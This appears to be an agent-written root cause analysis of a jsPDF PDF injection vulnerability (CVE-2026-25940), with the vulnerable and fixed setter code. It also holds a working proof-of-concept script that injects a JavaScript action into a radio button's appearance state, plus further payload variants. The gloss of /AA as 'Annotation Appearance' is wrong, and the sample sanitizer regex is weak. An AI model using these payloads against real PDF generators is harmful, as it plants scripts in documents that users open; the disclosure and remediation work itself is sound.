# Root Cause Analysis: jsPDF PDF Injection Vulnerability

## Summary

jsPDF versions prior to 4.2.0 contain a PDF injection vulnerability in the AcroForm module. The `appearanceState` property setter in `AcroFormRadioButton` and `AcroFormCheckBox` classes does not properly escape user input, allowing injection of arbitrary PDF objects including JavaScript actions. An attacker can inject malicious JavaScript code that executes when a user interacts with the PDF document, specifically by manipulating the appearance state string to include additional PDF dictionary entries.

## Impact

- **Package:** jsPDF (npm)
- **Affected Versions:** `< 4.2.0`
- **Fixed Version:** `4.2.0`
- **CVE:** CVE-2026-25940
- **GHSA:** GHSA-p5xg-68wr-hm3m
- **CVSS Score:** 8.1 (High)
- **CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

### Risk Assessment
This vulnerability allows an attacker to:
- Inject arbitrary JavaScript code into generated PDF documents
- Execute malicious scripts when victims interact with the PDF (e.g., hovering over form elements)
- Potentially exfiltrate data, manipulate the PDF viewer, or perform other malicious actions

## Root Cause

The vulnerability exists in the `appearanceState` property setter in `src/modules/acroform.js`:

```javascript
Object.defineProperty(this, "appearanceState", {
    enumerable: true,
    configurable: true,
    get: function() {
        return _AS.substr(1, _AS.length - 1);
    },
    set: function(value) {
        _AS = "/" + value;  // VULNERABLE: Direct concatenation without escaping
    }
});
```

The setter directly concatenates user input with a "/" prefix without any validation or escaping. This allows an attacker to craft a value that:
1. Starts with a valid appearance state (e.g., "Off")
2. Contains additional PDF dictionary entries (e.g., `/AA << /E << /S /JavaScript /JS (...) >> >>`)
3. Results in a malformed but parseable PDF object

### Fix Commit
The vulnerability was fixed in commit [71ad2db](https://github.com/parallax/jsPDF/commit/71ad2dbfa6c7c189ab42b855b782620fa8a38375) by:
1. Removing leading "/" if present
2. Using `pdfEscapeName()` to properly escape the input
3. Prepending "/" after escaping

```javascript
set: function(value) {
    var name = value === undefined ? undefined : value.toString();
    if (name.substr(0, 1) === "/") {
        name = name.substr(1);
    }
    _AS = "/" + pdfEscapeName(name);
}
```

## Reproduction Steps

### Using `repro/reproduction_steps.sh`

The reproduction script performs the following steps:

1. **Clone jsPDF repository** at vulnerable version (v4.1.0)
2. **Install dependencies** (`npm install`)
3. **Create test script** that:
   - Creates a new PDF document with jsPDF
   - Adds an AcroFormRadioButton with a child option
   - Sets `appearanceState` to a malicious payload: `"Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>"`
   - Generates PDF output and checks for injected JavaScript
4. **Verify vulnerability** by checking if malicious JavaScript is present in the PDF output

### Manual Reproduction

```javascript
const { jsPDF } = require('jspdf');
const doc = new jsPDF();

const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
doc.addField(group);

const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;

// Inject malicious JavaScript action
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";

const pdfOutput = doc.output();
// Check: pdfOutput.contains('/AA << /E << /S /JavaScript')
```

## Evidence

### Log Files
- `/workspace/logs/reproduction.log` - Test execution output
- `/workspace/logs/pdf_snippet.txt` - Excerpt showing injected JavaScript in PDF
- `/workspace/logs/malicious_test.pdf` - Generated malicious PDF file

### Key Evidence Excerpts

From the generated PDF (pdf_snippet.txt):
```
/AS /Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>
```

This shows the malicious JavaScript action (`/AA << /E << /S /JavaScript /JS (...) >> >>`) was successfully injected into the PDF structure. The `/AA` key represents an Annotation Appearance dictionary, `/E` represents an Enter event, and the JavaScript action is configured to execute `app.alert('XSS')` when the user hovers over the radio button.

### Test Results
```
Testing jsPDF PDF Injection Vulnerability...
Version: 4.1.0

--- Vulnerability Test Results ---
Malicious payload embedded: true
Alert code present: true

[CONFIRMED] Vulnerability exists: JavaScript payload is embedded in the PDF
```

## Recommendations / Next Steps

### Immediate Actions
1. **Upgrade to jsPDF 4.2.0 or later** - The vulnerability is patched in v4.2.0
2. **Sanitize user input** - If immediate upgrade is not possible, validate and sanitize any user input before passing it to the `appearanceState` property

### Input Validation Pattern
```javascript
// Example sanitization before the fix
function sanitizeAppearanceState(value) {
    // Remove any PDF dictionary markers
    return value.replace(/\/[^\s]+/g, '').trim();
}
```

### Testing Recommendations
1. Add regression tests that verify the `appearanceState` setter properly escapes input
2. Test with various PDF injection payloads including:
   - `/AA << /E << /S /JavaScript /JS (...) >> >>` (Enter event)
   - `/AA << /D << /S /JavaScript /JS (...) >> >>` (Down event)
   - Other PDF action types

### Additional Notes

#### Idempotency Confirmation
The reproduction script has been tested twice consecutively and produces consistent results:
- First run: Successfully cloned, built, and confirmed vulnerability
- Second run: Successfully used cached repository and confirmed vulnerability

Both runs confirmed the vulnerability with exit code 0.

#### Affected Properties
Based on the fix commit and advisory, the following properties are affected:
- `AcroFormRadioButton` child elements' `appearanceState` property
- `AcroFormCheckBox` `AS` property

Both properties use the same vulnerable setter pattern that was fixed by the `pdfEscapeName()` addition.

#### Limitations
- The reproduction demonstrates the injection capability; actual JavaScript execution requires opening the PDF in a viewer that supports JavaScript (e.g., Adobe Acrobat Reader)
- The vulnerability requires user interaction with the malicious PDF (hovering over the form element)
